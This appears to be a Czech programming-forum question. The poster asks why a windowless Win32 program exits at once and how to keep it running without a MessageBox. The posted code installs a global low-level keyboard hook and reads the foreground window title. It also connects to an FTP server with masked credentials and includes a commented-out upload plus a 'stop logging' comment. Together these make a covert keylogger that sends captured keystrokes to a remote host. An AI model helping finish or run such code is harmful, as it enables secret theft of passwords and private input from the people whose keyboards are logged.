Zdravím, mám tu program bez okna ve Win32 (není to konzolová aplikace). Ale mám takový problém, program se okamžitě, vypne, jen co přejede všechny řádky. Vypne se, ikdyž je jsem tam měl while, ale jakoby ho přeskočil a jel dál. Potřebuju nějak udělat aby se nevypl, jedinná věc která ho zastavila byla MessageBox, ale ten nepotřebuji. Lze to nějak provést ?
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {
GetWindowTextA(GetForegroundWindow(), cWindow, sizeof(cWindow));
HHOOK keyboardHook = SetWindowsHookEx(
WH_KEYBOARD_LL,
keyboardHookProc,
hInstance,
0);
internet = InternetOpen(("Naš ftp client"),INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,INTERNET_FLAG_ASYNC);
if(internet==NULL)
{
MessageBox(NULL,("Nepodarilo sa pripojiť k internetu. \nProsím skontrolujte stav Vášho pripojenia!"),("Chyba"),MB_OK | MB_ICONWARNING);
}
ftp = InternetConnect(internet,"********",INTERNET_DEFAULT_FTP_PORT,"*****","******",INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE ,NULL);
if(ftp==NULL)
{
MessageBox(NULL,("Nepodarilo sa pripojiť K FTP!!!"),("Chyba"),MB_OK | MB_ICONWARNING);
}
/* -->>>>>> NAHRAVANI!!
if(!FtpPutFile(ftp,nahraj,remotef,FTP_TRANSFER_TYPE_BINARY,NULL)) {
MessageBox(NULL, "chyba v nahravani.", "Information", MB_OK);
} */
// MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);
-- zde jsem zkoušel smyčku aby se program nevypl.
out.close();
return 0;
}